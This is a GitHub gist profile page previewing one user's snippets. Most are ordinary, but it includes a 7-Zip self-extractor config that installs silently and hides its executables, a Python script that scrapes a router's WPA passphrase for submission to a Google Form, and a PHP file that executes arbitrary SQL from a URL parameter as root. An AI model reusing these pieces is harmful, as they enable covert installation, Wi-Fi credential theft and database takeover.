Skip to content

Instantly share code, notes, and snippets.

Avatar

Nilesh Akhade TheNilesh

  • Pune
View GitHub Profile
@TheNilesh
TheNilesh / main.go
Created Oct 23, 2020
Limit number of goroutines reading from channel
View main.go
package main
import (
"fmt"
"os"
"os/signal"
"sync"
)
var wg sync.WaitGroup
@TheNilesh
TheNilesh / CoGroupShoes.java
Created Jun 19, 2020
Apache Flink Example of using CoGroupFunction on shoe stream
View CoGroupShoes.java
package com.quickheal.correlation;
import java.util.Date;
import java.util.Properties;
import org.apache.flink.api.common.functions.CoGroupFunction;
import org.apache.flink.api.common.functions.MapFunction;
import org.apache.flink.api.common.serialization.SimpleStringSchema;
import org.apache.flink.api.java.functions.KeySelector;
import org.apache.flink.api.java.tuple.Tuple2;
@TheNilesh
TheNilesh / config.txt
Last active Apr 10, 2020
config.txt for 7zip sfx
View config.txt
;!@Install@!UTF-8!
InstallPath="%PROGRAMDATA%\\System"
;silent mode no gui
GUIMode="2"
;Update, if system locked, skip
OverwriteMode="2+8"
; Hide System folder and content
RunProgram="hidcon:cmd /c attrib +s +h %PROGRAMDATA%\System\*.exe"
View read-wpa-key.py
dir615_url = 'http://192.168.1.1'
form_url = 'url to the google form which has only two text fields one for ssid and another for wpa key'
print('logging in to router')
requests.post(dir615_url + '/login.cgi',data={'username':username, 'password':password, 'submit.htm?login.htm':'Send'})
print('getting pass page')
response = requests.get(dir615_url + '/wlan_basic.htm')
soup = BeautifulSoup(response.content, 'html.parser')
input_passphrase = soup.find('input', {'name':'pskValue'})
passphrase = input_passphrase['value']
input_ssid = soup.find('input', {'name':'ssid'})
@TheNilesh
TheNilesh / roguehostapd_install.sh
Last active Jun 15, 2018
Error installing roguehostapd
View roguehostapd_install.sh
nilesh@kali:~/tools/roguehostapd$ sudo python setup.py install
unable to execute 'x86_64-linux-gnu-gcc': No such file or directory
[!] The development package for netlink is missing. Please download it and restart the compilation.If you are on Debian-based system: 'apt-get install libnl-3-dev libnl-genl-3-dev'.
nilesh@kali:~/tools/roguehostapd$ sudo apt-get install libnl-3-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
libnl-3-dev is already the newest version (3.4.0-1).
The following packages were automatically installed and are no longer required:
libgcr-3-common libxfont1
@TheNilesh
TheNilesh / db.php
Created Mar 26, 2018
PHP file to execute everything
View db.php
<?php
//Creating a connection
$dbname = $_GET["dbname"];
$con = mysqli_connect("localhost:3306","root","",$dbname);
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
/*get the sql query to execute*/
View MyMappingJackson2MessageConverter.java
@Component
public class MyMappingJackson2MessageConverter extends AbstractHttpMessageConverter<Object> {
private static final Logger LOGGER = LoggerFactory.getLogger("RequestResponseLogger");
@Autowired
private ObjectMapper objectMapper;
@Autowired
private HttpServletRequest request;
View Package Listing From Instant App
02-11 21:06:50.547: I/AppStorage(26744): Loaded packageName=com.mycompany.myapp.aninstantapp
02-11 21:06:50.557: I/IapkLoadService(26744): Cleared metadata for instant app com.mycompany.myapp.aninstantapp
02-11 21:06:54.447: I/DevAtomProvider(26744): https://myapp.mycompany.com/example
02-11 21:06:54.467: I/InstantApps(5286): DevManagerRouterBackendClient: AIA is sideloaded: com.mycompany.myapp.aninstantapp
02-11 21:06:55.047: E/Isotope(17994): UID: [10142] PID: [17994] UrlHandler : Could not find info for com.mycompany.myapp.aninstantapp
02-11 21:06:55.617: I/IsotopeNative(17994): storage_manager.cpp:166 [StorageManager]: calling uid 99025 with package name com.mycompany.myapp.aninstantapp cannot access /data/data/com.google.android.instantapps.supervisor wrt root directory /data/data/com.google.android.instantapps.supervisor/files syscall(48)
02-11 21:06:55.617: I/IsotopeNative(17994): storage_manager.cpp:166 [StorageManager]: calling uid 99025 with package name com.mycompany.myapp.aninstantapp cannot acce
@TheNilesh
TheNilesh / Python Blowfish ECB
Created Sep 5, 2017
Java compatible code in python
View Python Blowfish ECB
def encrypt(plaintext, key):
cipher = Blowfish.new(key, Blowfish.MODE_ECB)
packedString = pkcs5pad(plaintext)
return (base64.b64encode(cipher.encrypt(packedString))).decode("utf-8")
def decrypt(ciphertext, key):
cipher = Blowfish.new(key, Blowfish.MODE_ECB)
paddedstring = cipher.decrypt(base64.b64decode(ciphertext))
return pkcs5unpad(paddedstring).decode("utf-8")
View Solution.java
import java.io.*;
import java.util.*;
public class Solution {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int count = scanner.nextInt();
for (int i = 0; i < count; i++) {
int N = scanner.nextInt(); /*Number of 0's*/
You can’t perform that action at this time.